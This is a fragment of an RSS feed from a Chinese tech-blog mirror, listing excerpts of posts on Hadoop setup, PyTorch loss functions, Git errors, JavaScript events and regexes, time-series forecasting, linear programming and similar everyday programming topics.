      <pubDate>Thu, 17 Dec 2020 22:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f57a43eeda6de0722a7e023c1f53c786/</guid>
      <description>文章目录 CentOS01的安装和配置下载CentOS 7.2镜像 系统安装创建新的虚拟机安装操作系统 环境配置给予 Hadoop用户 root 权限关闭防火墙配置Vmware虚拟网络编辑器的NAT设置给centos01设置固定IP本地 ping 地址 测试修改主机名创建资源目录/opt/modules/、/opt/software/ Java环境配置卸载系统自带的JDK，后查询不到jdk相关文件上传jdk到虚拟机文件目录下将jdk安装包解压到/opt/modules/下配置环境变量检查是否安装成功 由CentOS01克隆出CentOS02、CentOS03，并配置相关环境克隆虚拟机CentOS02，CentOS03配置主机名修改IP配置主机ip映射IP映射测试集群配置无秘钥登录创建密钥发送密钥 Hadoop环境配置上传Hadoop 安装包将hadoop安装包解压到/opt/modules/下配置系统环境变量（centos01）Hadoop添加jdk环境变量配置HDFS配置yarn复制hadoop安装文件到其他节点格式化namenode启动Hadoop 环境测试hdfs命令测试Live Nodes 访问测试(测试mapreduce): Hadoop 命令一些环境配置的建议...按步骤来搭建要学会看log日志文件。要理解整个搭建过程和Hadoop体系权限管理很重要。 资源下载 环境&#xA;VMware Workstation Pro 12.0&#xA;MobaXtrerm（看自己需要）&#xA;需要的安装包&#xA;CentOS 7.2 iso镜像&#xA;jdk 1.8.0 for Linux&#xA;hadoop 2.8.5 for Linux&#xA;CentOS01的安装和配置 下载CentOS 7.2镜像 将所需要的镜像文件下载到电脑中&#xA;系统安装 创建新的虚拟机 给虚拟机命名为centos01&#xA;安装操作系统 安装GNOME桌面&#xA;不要忘记创建hadoop用户，并赋给它管理员权限。&#xA;环境配置 给予 Hadoop用户 root 权限 打开文件&#xA;su vi /etc/profile 添加后，令它立即生效&#xA;source /etc/profile 关闭防火墙 配置Vmware虚拟网络编辑器的NAT设置 给centos01设置固定IP 本地 ping 地址 测试 修改主机名 查看主机名</description>
    </item>
    <item>
      <title>torch.nn.CrossEntropyLoss()用法</title>
      <link>https://bchobby.github.io/posts/41182ea9bfaf7e0c5cb7dc05650394c0/</link>
      <pubDate>Thu, 17 Dec 2020 21:56:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41182ea9bfaf7e0c5cb7dc05650394c0/</guid>
      <description>CLASS torch.nn.CrossEntropyLoss(weight: Optional[torch.Tensor] = None, size_average=None, ignore_index: int = -100, reduce=None, reduction: str = &#39;mean&#39;) 这个评价损失将 nn.LogSoftmax() 和 nn.NLLLoss() 结合在一个类中。&#xA;在训练带有C类的分类问题时很有用（这里指的是多类别单分类问题）。 如果提供，则可选参数weight应为一维张量，为每个类分配权重。 当您的训练集不平衡时，这特别有用。&#xA;input预期将包含每个类的原始未标准化分数。（即网络的输出概率值）&#xA;input 必须为张量，其大小为（通常指的是单类别预测）或（通常指的是多维单类别预测，即图像像素级单类别预测），K≥1对于K维情况（后述）。&#xA;该评价损失期望类别索引范围为，作为大小为minibatch的一维张量target的每个值（指的是target中的每个值都是0-C-1的整数值）。 如果指定了ignore_index，则此评价损失也接受该类索引（此索引可能不一定在类范围内）。&#xA;损失可以描述为：&#xA;或在指定weight参数的情况下：&#xA;损失是对每个minibatch的观察结果的平均值。 如果指定了weight参数，则这是一个加权平均值：&#xA;还可用于更高维度的输入，例如2D图像，提供一个大小为，K≥1的input，其中K是维度数，target具有适当形状（请参见下文）。&#xA;Parameters&#xA;weight (Tensor, 可选) – 给定每个类手动调整缩放权重。 如果给定，则必须是大小为C维的张量. a manual rescaling weight given to each class. If given, has to be a Tensor of size C&#xA;size_average (bool, 可选) – 弃用(见 reduction). 默认情况下，损失是batch中每个损失元素的平均值。 请注意，对于某些损失，每个样本有多个元素。如果将size_average 字段设置为False，则损失不是每个minibatch的总和。 当reduce为False时被忽略。默认值: True. By default, the losses are averaged over each loss element in the batch.</description>
    </item>
    <item>
      <title>两个 Canvas 之间有空隙</title>
      <link>https://bchobby.github.io/posts/9da9ff1bbe9bc6e08a663957f2237c7d/</link>
      <pubDate>Thu, 17 Dec 2020 19:00:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9da9ff1bbe9bc6e08a663957f2237c7d/</guid>
      <description> 原因: HTML 页面中 回车导致的空格占位符&#xA;原 HTML code&#xA;&amp;lt;canvas id=&#34;canvas1&#34; wdith=&#34;512&#34; height=&#34;512&#34;&amp;gt;&amp;lt;/canvas&amp;gt; &amp;lt;canvas id=&#34;canvas2&#34; wdith=&#34;512&#34; height=&#34;512&#34;&amp;gt;&amp;lt;/canvas&amp;gt; 修改后 HTML code&#xA;&amp;lt;!-- 利用html注释符占位 --&amp;gt; &amp;lt;canvas id=&#34;canvas1&#34; wdith=&#34;512&#34; height=&#34;512&#34;&amp;gt;&amp;lt;/canvas&amp;gt;&amp;lt;!-- --&amp;gt;&amp;lt;canvas id=&#34;canvas2&#34; wdith=&#34;512&#34; height=&#34;512&#34;&amp;gt;&amp;lt;/canvas&amp;gt; 或 使用&#xA;&amp;lt;!-- 不实用回车符号， 直接在一行写两个canvas --&amp;gt; &amp;lt;canvas id=&#34;canvas1&#34; wdith=&#34;512&#34; height=&#34;512&#34;&amp;gt;&amp;lt;/canvas&amp;gt;&amp;lt;canvas id=&#34;canvas2&#34; wdith=&#34;512&#34; height=&#34;512&#34;&amp;gt;&amp;lt;/canvas&amp;gt; 或 使用&#xA;/* css 文件下 利用浮动 */ canvas { float: left; } </description>
    </item>
    <item>
      <title>python获取header头内容_Python 仅获取响应头, 不获取实体的实例</title>
      <link>https://bchobby.github.io/posts/e62369a6108377e68238b7c25b6d9d31/</link>
      <pubDate>Thu, 17 Dec 2020 16:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e62369a6108377e68238b7c25b6d9d31/</guid>
      <description>Python Just get Response Headers, not get content.&#xA;1. Use HEAD method&#xA;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&amp;gt;&amp;gt;&amp;gt; res = requests.head(&#34;http://www.baidu.com/&#34;)&#xA;&amp;gt;&amp;gt;&amp;gt; req.head(&#34;https://www.baidu.com/&#34;).headers&#xA;{&#39;Content-Encoding&#39;: &#39;gzip&#39;, &#39;Server&#39;: &#39;bfe/1.0.8.18&#39;, &#39;Last-Modified&#39;: &#39;Mon, 13 Jun 2016 02:50:08 GMT&#39;, &#39;Connection&#39;: &#39;Keep-Alive&#39;, &#39;Pragma&#39;: &#39;no-cache&#39;, &#39;Cache-Control&#39;: &#39;private, no-cache, no-store, proxy-revalidate, no-transform&#39;, &#39;Date&#39;: &#39;Fri, 13 Oct 2017 04:36:20 GMT&#39;, &#39;Content-Type&#39;: &#39;text/html&#39;}&#xA;&amp;gt;&amp;gt;&amp;gt; res.ok&#xA;True&#xA;&amp;gt;&amp;gt;&amp;gt; res.content&#xA;&#39;&#39;&#xA;# 但是会遇到一些问题, 比如, 服务器不支持 HEAD, 或者拒绝 HEAD.&#xA;# 如下情况就被拒绝&#xA;#&#xA;&amp;gt;&amp;gt;&amp;gt; res = req.</description>
    </item>
    <item>
      <title>生成8位随机字母数字组合</title>
      <link>https://bchobby.github.io/posts/3f2d531f3d2704ec2d2da399b3890ca1/</link>
      <pubDate>Thu, 17 Dec 2020 16:10:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f2d531f3d2704ec2d2da399b3890ca1/</guid>
      <description>#include &amp;lt;unistd.h&amp;gt; #include &amp;lt;time.h&amp;gt; #include &amp;lt;sys/time.h&amp;gt; int rand_8(char *str) { char pool[] = {&#39;0&#39;,&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;4&#39;,&#39;5&#39;,&#39;6&#39;,&#39;7&#39;,&#39;8&#39;,&#39;9&#39;, &#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;,&#39;f&#39;,&#39;g&#39;,&#39;h&#39;,&#39;i&#39;,&#39;j&#39;,&#39;k&#39;,&#39;l&#39;,&#39;m&#39;,&#39;n&#39;,&#39;o&#39;,&#39;p&#39;,&#39;q&#39;,&#39;r&#39;,&#39;s&#39;,&#39;t&#39;,&#39;u&#39;,&#39;v&#39;,&#39;w&#39;,&#39;x&#39;,&#39;y&#39;,&#39;z&#39;, &#39;A&#39;,&#39;B&#39;,&#39;C&#39;,&#39;D&#39;,&#39;E&#39;,&#39;F&#39;,&#39;G&#39;,&#39;H&#39;,&#39;I&#39;,&#39;J&#39;,&#39;K&#39;,&#39;L&#39;,&#39;M&#39;,&#39;N&#39;,&#39;O&#39;,&#39;P&#39;,&#39;Q&#39;,&#39;R&#39;,&#39;S&#39;,&#39;T&#39;,&#39;U&#39;,&#39;V&#39;,&#39;W&#39;,&#39;X&#39;,&#39;Y&#39;,&#39;Z&#39;}; int i = 0; struct timeval tpstart; gettimeofday(&amp;amp;tpstart,NULL); srand(tpstart.tv_usec); while(i != 8){ str[i++] = pool[rand()%sizeof(pool)]; } return 1; } 参考：&#xA;linux中c语言精确计时函数的使用_兵临城下-CSDN博客</description>
    </item>
    <item>
      <title>office 中墨迹书写工具_抛开手写笔和平板电脑，手机也可以保持墨迹原笔迹书写，签发文件...</title>
      <link>https://bchobby.github.io/posts/3752ee8f0f82dac3045b5077480ca77e/</link>
      <pubDate>Thu, 17 Dec 2020 16:00:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3752ee8f0f82dac3045b5077480ca77e/</guid>
      <description>一般人们在办公签发文件时都会用到A4纸，打印再签发，但现在越来越提倡环保节约。无纸化办公随之兴起。很多公司都会配备或者要求配备可以手写的平板或者电脑。但这无疑又增加了成本。今天就较大家一个实用的方法，通过普通的手机不用手写笔也可以实现无纸化办公，保持墨迹书写、签名、签文件。&#xA;首先说一下无纸化办公保持原笔迹的好处：&#xA;节约纸张，不仅节省开支还更加环保。一份文件可复制成多份。可设置权限多人签发。笔迹是唯一的，亲笔签名防止代签。办公更加高效。 下面进入正题——普通手机如何保持原笔迹墨迹书写：&#xA;这里需要用到的是：安卓手机一部、手机软件WPS OFFICE最新版&#xA;先看看效果：&#xA;一般我们收到的文件是在微信或者QQ里的，我们可以通过手机端的WPS OFFICE来打开,如果默认不是可以在文件的右上角有三个。。。点开通过其他应用选择WPS来打开。 其他应用打开&#xA;选择WPS&#xA;打开后是这样的，点击左上角的编辑按钮，我们是通过一个叫做画笔的工具来实现的，画笔工具隐藏在后面。​&#xA;​&#xA;​向左滑动菜单调出右边的画笔工具&#xA;选择画笔工具，底部还可以选择画笔大小和颜色。​&#xA;现在还不能用手写，点击使用手指按钮，就可以使用手指来墨迹书写了，这样写出来的紫就是自己的笔迹了。&#xA;效果是下面这样的。如果不要墨迹书写，就可以停用笔迹，可以调出键盘手写。&#xA;注：此方法适用于安卓手机，苹果手机未测试。适用于WPS OFFICE ,WPS PPT，表格里不适用。​</description>
    </item>
    <item>
      <title>【Git】error: RPC failed； curl 92 HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR</title>
      <link>https://bchobby.github.io/posts/e1a9c4853936808eae6e972ee8d7ed3b/</link>
      <pubDate>Thu, 17 Dec 2020 14:13:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1a9c4853936808eae6e972ee8d7ed3b/</guid>
      <description>一、问题 git提交报错：error: RPC failed; curl 92 HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR (err 1)&#xA;二、原因 http2本身的bug&#xA;三、解决 1、方法一：直接换掉Git的http版本&#xA;git config --global http.version HTTP/1.1 2、方法二：更改Git的http克隆为ssh，使用ssh进行提交和拉取代码&#xA;系列文章 Git专栏 Git使用（一）：安装与配置&#xA;Git使用（二）：创建项目并提交到远程仓库&#xA;Git使用（三）：分支管理，创建分支、合并分支、合并分支的某一次提交等&#xA;Git使用（四）：提交管理，修改提交信息、合并多次提交、版本回退、撤销本地文件修改等&#xA;Git使用（五）：解决冲突以及如何避免冲突&#xA;SmartGit 安装及使用（一）：安装及配置&#xA;SmartGit 安装及使用（二）：工作界面介绍、提交代码以及防止代码冲突等操作&#xA;SmartGit 安装及使用（三）：修改提交记录、合并多次提交、撤销本地文件修改、版本回退等操作&#xA;SmartGit 安装及使用（四）：创建、合并分支、合并某一次提交以及解决冲突等操作&#xA;SmartGit 安装及使用（附录）：注册非商业许可证&#xA;【Git】如何生成SSH key&#xA;【Git】.gitignore文件语法以及修改后无效的解决办法&#xA;【Git】Authentication failed for 错误解决&#xA;【Git】SSL certificate problem: unable to get local issuer certificate错误的解决办法&#xA;【Git】error: RPC failed； curl 92 HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR</description>
    </item>
    <item>
      <title>利用 a 标签 实现 下载图片（不是打开）的正确姿势</title>
      <link>https://bchobby.github.io/posts/63f579cf17d128edf591138301014a75/</link>
      <pubDate>Thu, 17 Dec 2020 14:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63f579cf17d128edf591138301014a75/</guid>
      <description>1. 场景再现 当 a 标签中添加了 download 属性，想要实现下载图片时：点击 a 链接，没有进行下载，而是在 当前页面 打开了图片 2. 原因 &amp;lt;a&amp;gt; 有 download 属性，可以实现下载 同源文件（ ip 和 端口 相同）当图片 不同源 时，点击下载，会在当前窗口直接打开图片，而不是进入下载状态 3. 解决方案（两种） 3.1 使用 target 属性，打开新页面进行下载 这样可以维持当前页面状态，用户需要在新页面中保存图片 3.2 写一个点击事件，通过 canvas 方式 保存图片 &amp;lt;script&amp;gt; /** * 下载图片 * @param {string} imgsrc 图片地址 */ downloadIamge(imgsrc) { // 新建图片对象 let image = new Image(); // 解决跨域 Canvas 污染问题 image.setAttribute(&#34;crossOrigin&#34;, &#34;anonymous&#34;); // 图片加载 image.onload = function() { // 新建 canvas标签 let canvas = document.</description>
    </item>
    <item>
      <title>干货 ：手把手教你用Python进行时间序列分解和预测</title>
      <link>https://bchobby.github.io/posts/19cc684877f401ea43c72c9dec08a1c7/</link>
      <pubDate>Thu, 17 Dec 2020 08:37:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19cc684877f401ea43c72c9dec08a1c7/</guid>
      <description>作者：Mohit Sharma 翻译：王闯（Chuck) 校对：王可汗&#xA;本文约4100字，建议阅读10+分钟&#xA;本文介绍了用Python进行时间序列分解的不同方法，以及如何在Python中进行时间序列预测的一些基本方法和示例。 预测是一件复杂的事情，在这方面做得好的企业会在同行业中出类拔萃。时间序列预测的需求不仅存在于各类业务场景当中，而且通常需要对未来几年甚至几分钟之后的时间序列进行预测。如果你正要着手进行时间序列预测，那么本文将带你快速掌握一些必不可少的概念。&#xA;目录&#xA;什么是时间序列？&#xA;如何在Python中绘制时间序列数据？&#xA;时间序列的要素是什么？&#xA;如何分解时间序列？&#xA;经典分解法&#xA;如何获得季节性调整值？&#xA;STL分解法&#xA;时间序列预测的基本方法：&#xA;Python中的简单移动平均（SMA）&#xA;为什么使用简单移动平均？&#xA;Python中的加权移动平均（WMA）&#xA;Python中的指数移动平均（EMA）&#xA;什么是时间序列？ 顾名思义，时间序列是按照固定时间间隔记录的数据集。换句话说，以时间为索引的一组数据是一个时间序列。请注意，此处的固定时间间隔（例如每小时，每天，每周，每月，每季度）是至关重要的，意味着时间单位不应改变。别把它与序列中的缺失值混为一谈。我们有相应的方法来填充时间序列中的缺失值。&#xA;在开始使用时间序列数据预测未来值之前，思考一下我们需要提前多久给出预测是尤其重要的。你是否应该提前一天，一周，六个月或十年来预测（我们用“界限”来表述这个技术术语）？需要进行预测的频率是什么？在开始预测未来值的详细工作之前，与将要使用你的预测结果的人谈一谈也不失为一个好主意。&#xA;如何在PYTHON中绘制时间序列数据？ 可视化时间序列数据是数据科学家了解数据模式，时变性，异常值，离群值以及查看不同变量之间的关系所要做的第一件事。从绘图查看中获得的分析和见解不仅将有助于建立更好的预测，而且还将引导我们找到最合适的建模方法。这里我们将首先绘制折线图。折线图也许是时间序列数据可视化最通用的工具。&#xA;这里我们用到的是AirPassengers数据集。该数据集是从1949年到1960年之间的每月航空旅客人数的集合。下面是一个示例数据，以便你对数据信息有个大概了解。&#xA;#Reading Time Series Data Airpassenger = pd.read_csv(&#34;AirPassengers.csv&#34;) Airpassenger.head(3) 现在，我们使用折线图绘制数据。在下面的示例中，我们使用set_index（）将date列转换为索引。这样就会自动在x轴上显示时间。接下来，我们使用rcParams设置图形大小，最后使用plot（）函数绘制图表。&#xA;Airpassenger = Airpassenger.set_index(&#39;date&#39;) pyplot.rcParams[&#34;figure.figsize&#34;] = (12,6) Airpassenger.plot() pyplot.show() 航空旅客人数&#xA;1949-1960年间，乘飞机旅行的乘客人数稳定增长。规律性间隔的峰值表明增长似乎在有规律的时间间隔内重复。&#xA;让我们看看每个季度的趋势是怎样的。为了便于理解，从不同的维度观察信息是个好主意。为此，我们需要使用Python中的datetime包从date变量中得出季度和年份。在进行绘图之前，我们将连接年份和季度信息，以了解旅客数量在季节维度上如何变化。&#xA;from datetime import datetime # Airpassenger[&#34;date&#34;] = Airpassenger[&#34;date&#34;].apply(lambda x: datetime.strptime(x, &#34;%d-%m-%Y&#34;)) Airpassenger[&#34;year&#34;] = Airpassenger[&#34;date&#34;].apply(lambda x: x.year) Airpassenger[&#34;qtr&#34;] = Airpassenger[&#34;date&#34;].apply(lambda x: x.quarter) Airpassenger[&#34;yearQtr&#34;]=Airpassenger[&#39;year&#39;].astype(str)+&#39;_&#39;+Airpassenger[&#39;qtr&#39;].astype(str) airPassengerByQtr=Airpassenger[[&#34;passengerCount&#34;, &#34;</description>
    </item>
    <item>
      <title>用python做线性规划的几种工具包和入门介绍</title>
      <link>https://bchobby.github.io/posts/0c3e5cc9e0e262252ee27b592b1870ad/</link>
      <pubDate>Wed, 16 Dec 2020 13:51:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c3e5cc9e0e262252ee27b592b1870ad/</guid>
      <description>本文介绍三种常见的python做线性规划的工具包：scipy、pulp、cvxpy，后面2个包也支持整数规划（Integer Program）、01规划（Binary Program）还是混合整数线性规划（MILP）。&#xA;一、scipy做线性规划 1、scipy简单介绍 scipy库是个功能很强大的包，可以通过调用optimize.linprog函数解决简单的线性规划：&#xA;scipy.optimize.linprog(c, A_ub=None, b_ub=None, A_eq=None, b_eq=None,&#xA;bounds=None, method=‘simplex’, callback=None, options=None)&#xA;c指的应该是要求最大值的函数的系数数组，A_ub是应该是不等式未知量的系数矩阵，【注意：来这不等式指的是&amp;lt;=的不等式，那如果是&amp;gt;=，就需要乘个负号】。A_eq就是其中等式的未知量系数矩阵了。B_ub就是不等式的右边了，B_eq就是等式右边了。bounds的话，指的就是每个未知量的范围了。&#xA;2、案例 题目：&#xA;代码示例：&#xA;from scipy import optimize as op import numpy as np c=np.array([2,3,-5]) A_ub=np.array([[-2,5,-1],[1,3,1]])#注意是-2，5，-1 B_ub=np.array([-10,12]) A_eq=np.array([[1,1,1]]) B_eq=np.array([7]) # 上限7是根据约束条件1和4得出的 x1=(0,7) x2=(0,7) x3=(0,7) res=op.linprog(-c,A_ub,B_ub,A_eq,B_eq,bounds=(x1,x2,x3)) print(res) 结果：&#xA;二、pulp工具包 1、pulp简单介绍 Python的scipy库中提供了解简单线性或非线性规划问题，但是不能求解如背包问题的0-1规划问题，或整数规划问题，混合整数规划问题，pulp库可以求解以上类型的问题，并且有更多的通用性，编写程序更自由。&#xA;官方有很多案例和教程：&#xA;https://coin-or.github.io/pulp/CaseStudies/a_transportation_problem.html#presentation-of-solution-and-analysis&#xA;2、案例 pulp官方教程和网上可参看案例比较多，个人推荐下面一篇文章&#xA;https://www.jianshu.com/p/9be417cbfebb&#xA;里面还有运输问题，指派问题的案例。&#xA;三、cvxpy工具包 1、cvxpy简单介绍 CVXPY是一种可以内置于Python中的模型编程语言，解决凸优化问题（整数规划、01规划和混合规划）。它可以自动转化问题为标准形式，调用解法器，解包结果集。cvxpy包相对前面2种算是最专业了，功能也更强大。从安装难度和官方教程就可以看出来。&#xA;我前面一篇文章介绍了cvxpy的安装。&#xA;2、案例 复杂一些的问题，建议参考教程案例里面有大量很复杂的问题案例。我自己使用直接用的是上千变量的外部数据，不适合入门介绍，就不分享了。简单的入门可以参考如下2篇文章：&#xA;https://blog.csdn.net/GeekWill/article/details/78836054&#xA;使用Python中的cvxpy库解整数规划问题</description>
    </item>
    <item>
      <title>c嵌入python_c中嵌入python</title>
      <link>https://bchobby.github.io/posts/36d2e128e2d62738931ee2491a50126a/</link>
      <pubDate>Wed, 16 Dec 2020 05:56:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36d2e128e2d62738931ee2491a50126a/</guid>
      <description>c编译器用DEV-C++，&#xA;python(sys.version)：&#39;2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit (Intel)]&#39;&#xA;先新建DEV-C++工程后，设置工程属性：&#xA;连接参数如下：&#xA;-IC:\Python27\include&#xA;-LC:\Python27\libs&#xA;-lpython27&#xA;test.py的代码：&#xA;print &#39;Go into the test.py!&#39;&#xA;words = raw_input(&#39;What do you want to say? &#39;)&#xA;print &#39;you said:&#39;+words&#xA;main.c的代码&#xA;#include &#34;python.h&#34;&#xA;#include int main(int argc, char *argv[])&#xA;{&#xA;char *szPythonFileName=&#34;test.py&#34;;&#xA;Py_Initialize();&#xA;PyRun_SimpleString(&#34;print( &#39;PyRun_SimpleString &#39; )&#34; );&#xA;PyObject *pyfile = PyFile_FromString(szPythonFileName,&#34;r&#34;);&#xA;if(pyfile==NULL)&#xA;{&#xA;return 1;&#xA;}&#xA;FILE *f = PyFile_AsFile(pyfile);&#xA;if(f==NULL)&#xA;{&#xA;return 1;</description>
    </item>
    <item>
      <title>angular4点击事件监听_简述 DOM 事件模型与事件委托</title>
      <link>https://bchobby.github.io/posts/6dc94ddc030976f289b23039d038a8aa/</link>
      <pubDate>Tue, 15 Dec 2020 20:07:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dc94ddc030976f289b23039d038a8aa/</guid>
      <description>目录：&#xA;1.引入&#xA;2.W3C事件模型&#xA;3.特例&#xA;4.事件委托&#xA;1.引入 &amp;lt;div class=&#34;grandFather&#34;&amp;gt; &amp;lt;div class=&#34;Father&#34;&amp;gt; &amp;lt;div class=&#34;Son&#34;&amp;gt; Hello &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 结构：.grandFather + .Father + .Son&#xA;给三个div分别添加事件监听fn_one,fn_two,fn_three&#xA;问题1： 点击Hello,算不算点击了儿子？&#xA;点击Hello,算不算点击了爸爸？&#xA;点击Hello,算不算点击了爷爷？&#xA;回答：都算&#xA;问题2： 点击Hello,最先调用fn_one,fn_two,fn_three中的哪个？&#xA;回答：都行&#xA;由此W3C发布标准&#xA;2.W3C事件模型 1.概念&#xA;事件捕获：从外向内找监听函数&#xA;事件冒泡：从内向外找监听函数&#xA;2.结论: 先捕获（爸爸到儿子），再冒泡（儿子到爸爸）&#xA;3.事件绑定API，开发者自己选择把监听函数放在捕获，或者冒泡阶段&#xA;blabla.addEventListener(&#39;click&#39;,fn,bool) //1.如果bool不传，或者为falsy,就让fn走冒泡， //也就是，当浏览器在冒泡阶段发现blabla有fn监听函数，就调用fn,并提供事件信息 ​ //2.如果bool为true,就让fn走捕获 //也就是，当浏览器在捕获阶段发现blabla有fn监听函数，就调用fn,并提供事件信息 3.特例 问题：&#xA;1.只有一个div被监听&#xA;2.fn分别在捕获和冒泡阶段，都监听click事件&#xA;3.e.target 等于 e.currentTarget，即用户点击元素与开发者监听元素是同一个&#xA;此时，有如下代码，&#xA;div.addEventListener(&#39;click&#39;,f1) div.addEventListener(&#39;click&#39;,f2,true) 请问，f1和f2哪个先执行？如果把这两行调换位置，哪个先执行？&#xA;答案：谁先监听，谁先执行&#xA;4.事件委托 场景一：如何给100按钮添加点击事件？&#xA;回答：监听这100按钮的祖先，在冒泡的时候判断target是不是这100按钮中的一个&#xA;div1.addEventdiv1.addEventListener(&#39;click&#39;,(e)=&amp;gt;{ const t = e.target if(t.tagName.toLowerCase() === &#39;button&#39;){ console.log(&#34;button被点击&#34;) } }) 场景二：如何监听一个目前不存在的元素的点击事件?</description>
    </item>
    <item>
      <title>Canal使用入门学习</title>
      <link>https://bchobby.github.io/posts/99ec93ba3677486209dcd7b26e38a69d/</link>
      <pubDate>Tue, 15 Dec 2020 19:57:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99ec93ba3677486209dcd7b26e38a69d/</guid>
      <description>canal官方github&#xA;超详细的Canal入门，看这篇就够了！&#xA;阿里开源Canal–①简介&#xA;centos7用tar包安装mysql&#xA;WINDOWS下MYSQL开启BINLOG&#xA;一.简介 canal 主要用途是基于 MySQL 数据库增量日志解析，提供增量数据订阅和消费。&#xA;基于日志增量订阅和消费包括&#xA;数据库镜像数据库实时备份索引构建和实时维护业务 cache 刷新带业务逻辑的增量数据处理 二.工作原理 MySQL 主备复制原理&#xA;MySQL master 将数据变更写入二进制日志（binary log，其中记录叫做二进制日志事件 binary log events，可以通过 show binlog events 进行查看）MySQL slave 将 master 的 binary log events 拷贝到它的中继日志（relay log）MySQL slave 重放 relay log 中的事件，将数据变更反映它自己的数据 canal 工作原理&#xA;canal 模拟 MySQL slave 的交互协议，伪装自己为 MySQL slave，向 MySQL master 发送 dump 协议MySQL master 收到 dump 请求，开始推送 binary log 给 slave （即 canal）canal 解析 binary log 对象（原始为 byte 流） 三.</description>
    </item>
    <item>
      <title>JS判断输入是否为整数的正则表达式</title>
      <link>https://bchobby.github.io/posts/734b5b93e19ea621f6f1415beb1074be/</link>
      <pubDate>Tue, 15 Dec 2020 17:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/734b5b93e19ea621f6f1415beb1074be/</guid>
      <description>1.正确表达式&#xA;&#34;^\\d+$&#34;　//非负整数（正整数 + 0）&#xA;&#34;^[0-9]*[1-9][0-9]*$&#34;　//正整数&#xA;&#34;^((-\\d+)|(0+))$&#34;　//非正整数（负整数 + 0）&#xA;&#34;^-[0-9]*[1-9][0-9]*$&#34;　//负整数&#xA;&#34;^-?\\d+$&#34;　//整数&#xA;&#34;^\\d+(\\.\\d+)?$&#34;　//非负浮点数（正浮点数 + 0）&#xA;&#34;^(([0-9]+\\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\\.[0-9]+)|([0-9]*[1-9][0-9]*))$&#34;　//正浮点数&#xA;&#34;^((-\\d+(\\.\\d+)?)|(0+(\\.0+)?))$&#34;　//非正浮点数（负浮点数 + 0）&#xA;&#34;^(-(([0-9]+\\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\\.[0-9]+)|([0-9]*[1-9][0-9]*)))$&#34;　//负浮点数&#xA;&#34;^(-?\\d+)(\\.\\d+)?$&#34;　//浮点数&#xA;2、使用方法&#xA;var r = /^\+?[1-9][0-9]*$/;　//正整数&#xA;String str = &#34;123&#34;;&#xA;boolean flag=r.test(str);&#xA;如果判断为正整数，则flag为true&#xA;3、JS整数相加&#xA;首先保证输入的都是数字&#xA;nText1=parseFloat(document.all.text1.value);&#xA;nText2=parseFloat(document.all.text2.value);&#xA;nSum=nText1+nText2&#xA;4.总结&#xA;Require : /.+/,&#xA;Email : /^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/,&#xA;Phone : /^((\(\d{3}\))|(\d{3}\-))?(\(0\d{2,3}\)|0\d{2,3}-)?[1-9]\d{6,7}$/,&#xA;Mobile : /^((\(\d{3}\))|(\d{3}\-))?13\d{9}$/,&#xA;Url : /^http:\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&amp;amp;_~`@[\]\&#39;:+!]*([^&amp;lt;&amp;gt;\&#34;\&#34;])*$/,&#xA;IdCard : /^\d{15}(\d{2}[A-Za-z0-9])?$/,&#xA;Currency : /^\d+(\.\d+)?$/,</description>
    </item>
    <item>
      <title>地图上分成一块一块区域 高德地图_开车用哪个导航最好？看看老司机总结的地图对比，学会不吃亏...</title>
      <link>https://bchobby.github.io/posts/f0c09e78f904451f6aac07c919ed1c3c/</link>
      <pubDate>Tue, 15 Dec 2020 17:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c09e78f904451f6aac07c919ed1c3c/</guid>
      <description>大家好我是喵哥，现在外出开车不可避免的都会使用导航，而比较主流的无非就是高德和百度，所以今天喵哥就跟大家对比一下百度和高德这两款导航它们之间的优势和劣势，首先喵哥以广州火车站为终点，然后两个地图同时规划路线，推荐路线都是以距离最短为首页推荐，高德推荐的是走京港澳高速，然后走乐广百度也是一样，时间高德八个多小时多一点百度不足八个小时，但是路费这个地方高德是323块钱，而百度只有298块钱，根据喵哥平时开这条路的经验高德的过路费计算应该会更准确一点。&#xA;同时我们再看到有一个备选路线，时间最短的一个备选路线推荐的是走许广，这条路线会比京港澳稍微长那么一点，但是它的路况会好一些，尤其是货车比较少，而过路费其实高德规划的过路费便宜十块钱，百度的过路费是贵了那么两块钱，平时喵哥自己跑高速的话，一般会跑许广，因为许广开车会舒服点。&#xA;我们看完大城市路线再来看一下旅游景点，从喵哥的位置长沙规划到凤凰古城停车场，推荐的都是时间最少的，然后百度的时间总归是要少那么一点点，而且路线长度大家看到一个是433一个是438，这一次百度过路费好像要比高德多了十块钱，至于说其它的路线备选路线推荐上两个地图都是一样的，推荐的都是最近的时间，走长韶娄然后走娄怀，第三个方案是走长张和杭瑞。&#xA;再来看一下市里面，从喵哥现在的位置规划去长沙火车南站也就是高铁站的路线，高德这个地方居然推荐了一条刚刚修通的一条捷径，只有20公里，这条路线据喵哥所知修通的时间很短，从这点来看在地图的更新速度上高德可能确实会做的更快一点，同时在路况上对于路况的把握和预测基本上是一致的，但是高德在过桥前显示的是红色，而百度显示黄色，据喵哥平时上下班经过这地方